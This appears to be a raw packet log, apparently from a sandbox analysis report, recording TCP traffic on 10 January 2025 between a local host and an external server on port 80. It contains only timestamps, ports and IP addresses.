Jan 10, 2025 18:23:28.926776886 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.926824093 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.926865101 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.926877975 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.926913023 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.926953077 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.926965952 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927000046 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927041054 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.927042961 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927095890 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927139997 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.927153111 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927231073 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927270889 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.927283049 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927340031 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927383900 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.927390099 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927428007 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927465916 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.927483082 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927541971 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927593946 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927598953 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.927627087 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927674055 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.927679062 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927711964 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927745104 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927752018 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.927778959 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927818060 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.927834034 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927867889 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927901030 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927905083 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.927952051 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927985907 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.927994013 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.928020000 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.928054094 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.928060055 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.928091049 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.928124905 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.928133011 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.928158998 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.928191900 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.928194046 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.928221941 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.928256035 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.928267956 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.928288937 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.928323030 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.928328991 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.928359985 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.928402901 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.928411007 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.928437948 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.928472042 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.928483963 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.928505898 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.928540945 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.928570032 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.928576946 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.928611994 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.928617001 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.929125071 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.929158926 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.929189920 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.929193020 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.929225922 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.929255009 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.929260969 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.929295063 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.929311037 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.929331064 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.929363966 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.929389954 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.929403067 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.929433107 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.929466963 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.929466963 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.929505110 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.929533958 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.929538965 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.929595947 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.929610968 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.929631948 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.929661036 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.929694891 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.934600115 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.934652090 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.934652090 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.934708118 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.934741974 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.934751034 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.934798002 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.934830904 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.934849977 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.934868097 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.934901953 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.934920073 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.934943914 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.934978962 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.934990883 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.935014963 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.935049057 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.935060024 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.935084105 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.935120106 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.935126066 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.935156107 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.935199976 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.948118925 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.948211908 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.948246002 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.948251963 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.948267937 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.948280096 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.948318005 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.956171036 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.961144924 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.961170912 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.961180925 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.961186886 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.961201906 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.961215019 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.961236954 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.961247921 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.961260080 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.961271048 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.961287022 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.961302996 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.961313009 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.961323023 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.961327076 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.961338997 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.961342096 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.961374998 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.979141951 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.979155064 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.979166985 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.979196072 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.979218006 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.979239941 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.979253054 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.979264021 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.979275942 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.979285002 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.979289055 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.979310036 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.982398987 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.982409954 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.982429028 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.982443094 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.982454062 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.982455015 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.982470036 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.982475996 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.982482910 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.982496977 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:28.982515097 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:28.982530117 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.000982046 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.001008034 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.001019955 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.001040936 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.001076937 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.001076937 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.001090050 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.001101971 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.001112938 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.001138926 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.001164913 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.013492107 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013504982 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013515949 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013528109 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013539076 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013554096 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.013557911 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013571024 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013581038 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013588905 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.013592005 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013602972 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013612986 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.013614893 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013626099 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013634920 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.013638020 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013649940 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013659954 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.013696909 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.013771057 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013782024 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013791084 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013823986 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013830900 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.013835907 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013847113 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013858080 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013859034 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.013885021 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.013930082 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013952971 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013963938 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013971090 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.013977051 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.013988018 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014002085 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.014012098 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014018059 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.014024973 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014035940 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014046907 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014064074 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014070988 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.014076948 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014090061 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014096975 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.014117956 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.014151096 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014162064 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014172077 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014183998 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014192104 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.014195919 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014205933 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014218092 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.014228106 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014236927 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.014240026 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014251947 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014265060 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.014290094 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014293909 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.014302015 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014312029 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014331102 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014342070 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014352083 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.014367104 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.014441967 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014461040 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014471054 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014482975 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014483929 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.014496088 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014503002 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.014508963 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014537096 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.014539003 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014550924 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014561892 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014578104 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.014588118 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014596939 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.014600992 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014611959 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014643908 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.014667988 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014688969 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014699936 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014709949 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014712095 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.014720917 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.014735937 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.014763117 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.016814947 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.016830921 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.016851902 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.016863108 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.016869068 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.016875029 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.016885996 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.016897917 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.016905069 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.016908884 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.016921997 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.016925097 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.016932964 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.016951084 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.016966105 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.016978979 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.016989946 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.016999960 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.017010927 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.017039061 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.017064095 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.035016060 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.035027981 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.035043955 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.035054922 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.035065889 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.035075903 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.035085917 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.035085917 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.035098076 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.035245895 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.035245895 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.047521114 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.047533035 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.047544003 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.047565937 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.047579050 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.047588110 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.047599077 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.047610998 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.047621012 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.047683001 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.047683001 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.047683001 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.047683001 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.065911055 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.065937996 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.065948009 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.065965891 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.065989017 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.066028118 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.066041946 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.066051960 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.066062927 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.066076994 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.066090107 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.066118956 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.069184065 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.069205046 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.069219112 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.069227934 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.069231987 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.069243908 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.069255114 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.069259882 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.069268942 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.069288015 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.069314003 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 18:23:29.087939978 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 18:23:29.087991953 CET	80	49707	193.143.1.205	192.168.2.9
